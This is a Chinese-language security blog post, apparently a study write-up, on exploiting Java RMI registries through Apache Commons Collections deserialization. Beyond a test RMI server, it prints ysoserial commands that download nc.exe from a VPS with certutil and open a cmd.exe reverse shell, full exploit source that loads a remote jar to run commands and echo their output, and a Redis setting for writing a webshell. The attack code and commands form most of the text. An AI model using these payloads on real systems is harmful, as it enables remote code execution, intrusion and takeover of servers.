Java RMI 利用入門學習
Windows中遇到了Java RMI,反彈又不那么方便,這時該如何利用呢?It’s a question。正好加強Java學習了。
預備知識理解
Java
RMI——Java遠程調用提供了不同機器之間進行對象方法訪問的能力,這樣的構架允許一臺機器的對象訪問另一臺機器的對象方法,而這種遠程調用必然需要傳遞對象數據結構,因此就需要序列化和反序列化,在此過程中,如果服務器上可以被使用的對象存在漏洞,通過客戶端構造相應的序列化數據就可以觸發漏洞。
Apache Common Collections
Java的第三方庫,提供更加強大的集合數據結構。它的一段代碼中存在調用方法和對象可控的情況,因此可以實現命令執行。在這種情況下,這個第三方包無論用或者沒用,都有可能被開發者打包進程序,成為程序中存在的對象,結合RMI機制,攻擊者就有可能調用到這些危險的對象。
Java 8版本121更新后對RMI注冊類進行了限制,因此需要尋找白名單內的類存在漏洞的情況,參考文獻中列出了收集到的解決方法。
測試環境搭建
避開Java版本的坑之后,測試環境很好完成,寫一個RMI服務器,放入Common Collections第三方包,啟動服務器即可,詳細實現代碼如下:
RMIInterface 接口
import java.rmi.Remote;import java.rmi.RemoteException;
public interface RMIInterface extends Remote { String sayHello() throws RemoteException;}
RMIServer 服務器
import java.rmi.Remote;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;import java.rmi.server.UnicastRemoteObject;
public class RMIServer implements RMIInterface { public String sayHello() { return "Hello World!"; }
public static void main(String args[]) { try { RMIServer obj = new RMIServer(); RMIInterface stub = (RMIInterface) UnicastRemoteObject.exportObject((Remote) obj, 0); LocateRegistry.createRegistry(1099); Registry registry = LocateRegistry.getRegistry(); registry.bind("Hello", stub); System.out.println("Server Start!"); } catch (Exception e) { e.printStackTrace(); } }}
再將Common Collections放入開發環境的External lib中。這樣啟動起來的服務器已經可以被用來測試漏洞了。
Ysoserial工具與測試利用
java -cp .\ysoserial.jar ysoserial.exploit.RMIRegistryExploit 127.0.0.1 1099 CommonsColections1 "calc"
網上最常見的用法,我們對這條命令逐個分析。
作為一款通用的Java反序列化利用工具,Yso具有廣泛的功能,我們這里主要聚焦于它的exploit和payloads兩部分。
由上面的分析我們知道,這一類的漏洞需要兩部分來完成,協議交互部分完成與服務器的交互,這一部分由exploit來完成,payloads則提供進行反序列化的對象以及相應的攻擊功能。
exploit中重點來看RMIRegistryExploit的代碼,另外會嘗試運行JRMPClient和JRMPListener,先知也有相關模塊的分析文章。
RMIRegistryExploit,從名字就可以看出,主要是通過RMI的Registry來進行交互。main函數部分就是一個和RMI服務器進行通信的客戶端

其中exploit函數負責生成類的實例,并且嵌入執行命令,再使用動態代理的方式進行傳遞。
再來看CommonsColections1的部分,核心的部分在getObject中,這里實際上就是走了一遍CommonsCollection RCE的鏈,將用戶的執行命令放入到相應的對象調用中,再經過序列化處理。
##0x03 如何在Windows下實現回顯命令執行
DNS查詢很容易,但是如何能夠更好的執行命令并回顯呢?
在當時測試的時候,為了快捷,使用了遠程下載nc+執行nc反彈的方式回彈shell。
java -cp .\ysoserial.jar ysoserial.exploit.RMIRegistryExploit 測試機器IP 1099CommonsCollections1 "certutil -urlcache -split -f http://VPS IP/nc.exe" java -cp .\ysoserial.jar ysoserial.exploit.RMIRegistryExploit 測試機器IP 1099CommonsCollections1 "D:\c.exe -t -e c:\\windows\\system32\\cmd.exe VPS-IP 65534"
后來查詢資料發現了其他能夠回顯的玩法,基本有以下幾種想法,
- 能否在這里執行java代碼,利用java的方式直接反彈shell
- 利用URLClassLoader,遠程加載自定義類,接收到報錯返回的執行結果。
具體代碼如下(來自先知社區),首先是遠程加載的自定義類
ErrorBaseExec.jar
package exploit;
import java.io.*;
public class ErrorBaseExec { public static byte[] readBytes(InputStream in) throws IOException { BufferedInputStream bufin = new BufferedInputStream(in); int buffSize = 1024; ByteArrayOutputStream out = new ByteArrayOutputStream(buffSize); byte[] temp = new byte[buffSize]; int size = 0;
while ((size = bufin.read(temp)) != -1) { out.write(temp, 0, size); }
bufin.close();
byte[] content = out.toByteArray();
return content; }
public static void do_exec(String cmd) throws Exception {
final Process p = Runtime.getRuntime().exec(cmd); final byte[] stderr = readBytes(p.getErrorStream()); final byte[] stdout = readBytes(p.getInputStream()); final int exitValue = p.waitFor();
if (exitValue == 0) { throw new Exception("-----------------\r" + (new String(stdout)) + "-----------------\r"); } else { throw new Exception("-----------------\r" + (new String(stderr)) + "-----------------\r"); }
}
public static void main(final String[] args) throws Exception { do_exec("whoami"); }}
RMIexploit
import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;
import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;
import java.net.URLClassLoader;
import java.rmi.Remote;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;
import java.util.HashMap;import java.util.Map;
public class RMIexploit { public static Constructor getFirstCtor(final String name) throws Exception { final Constructor ctor = Class.forName(name).getDeclaredConstructors()[0]; ctor.setAccessible(true);
return ctor; }
public static void main(String[] args) throws Exception { if (args.length < 4) { System.out.println( " Usage: java -jar RMIexploit.jar ip port jarfile command"); System.out.println( " Example: java -jar RMIexploit.jar 123.123.123.123 1099 http://1.1.1.1.1/ErrorBaseExec.jar \"ls -l\"");
return; }
String ip = args[0]; int port = Integer.parseInt(args[1]); String remotejar = args[2]; String command = args[3]; final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";
try { final Transformer[] transformers = new Transformer[] { new ConstantTransformer(java.net.URLClassLoader.class), new InvokerTransformer("getConstructor", new Class[] { Class[].class }, new Object[] { new Class[] { java.net.URL[].class } }), new InvokerTransformer("newInstance", new Class[] { Object[].class }, new Object[] { new Object[] { new java.net.URL[] { new java.net.URL(remotejar) } } }), new InvokerTransformer("loadClass", new Class[] { String.class }, new Object[] { "exploit.ErrorBaseExec" }), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "do_exec", new Class[] { String.class } }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new String[] { command } }) }; Transformer transformedChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); innerMap.put("value", "value");
Map outerMap = TransformedMap.decorate(innerMap, null, transformedChain); Class cl = Class.forName( "sun.reflect.annotation.AnnotationInvocationHandler"); Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class); ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, outerMap); Registry registry = LocateRegistry.getRegistry(ip, port); InvocationHandler h = (InvocationHandler) getFirstCtor(ANN_INV_HANDLER_CLASS) .newInstance(Target.class, outerMap); Remote r = Remote.class.cast(Proxy.newProxyInstance( Remote.class.getClassLoader(), new Class[] { Remote.class }, h)); registry.bind("pwned", r); } catch (Exception e) { try { System.out.print(e.getCause().getCause().getCause().getMessage()); } catch (Exception ee) { throw e; } } }}
打包之后執行回顯成功回顯,我編譯的時候還遇到兩個問題,一個是需要滿足JDK的版本要求,如果服務器JDK版本太低,客戶端太高時會報版本不匹配;另一個是命令執行回顯過多時會無法返回信息,還需調整。

Redis Windows下寫shell的小tip
Redis在進行持久化的時候,默認會進行壓縮,由于壓縮導致寫入的字符串存在亂碼,有些亂碼會影響文件解析,這時我們可以通過以下命令取消壓縮。
config set rdbcompression no
參考
Apache Common Collections相關知識詳細參照這篇博客:``https://security.tencent.com/index.php/blog/msg/97
繞過升級機制:http://www.codersec.net/2018/09/%E4%B8%80%E6%AC%A1%E6%94%BB%E5%87%BB%E5%86%85%E7%BD%91rmi%E6%9C%8D%E5%8A%A1%E7%9A%84%E6%B7%B1%E6%80%9D/
Github上一個不錯的Java漏洞項目:https://github.com/JoyChou93/java-sec-code
命令執行回顯:https://www.iswin.org/2015/11/13/Apache-CommonsCollections-Deserialized-Vulnerability/
先知社區里的回顯代碼:https://xz.aliyun.com/t/2223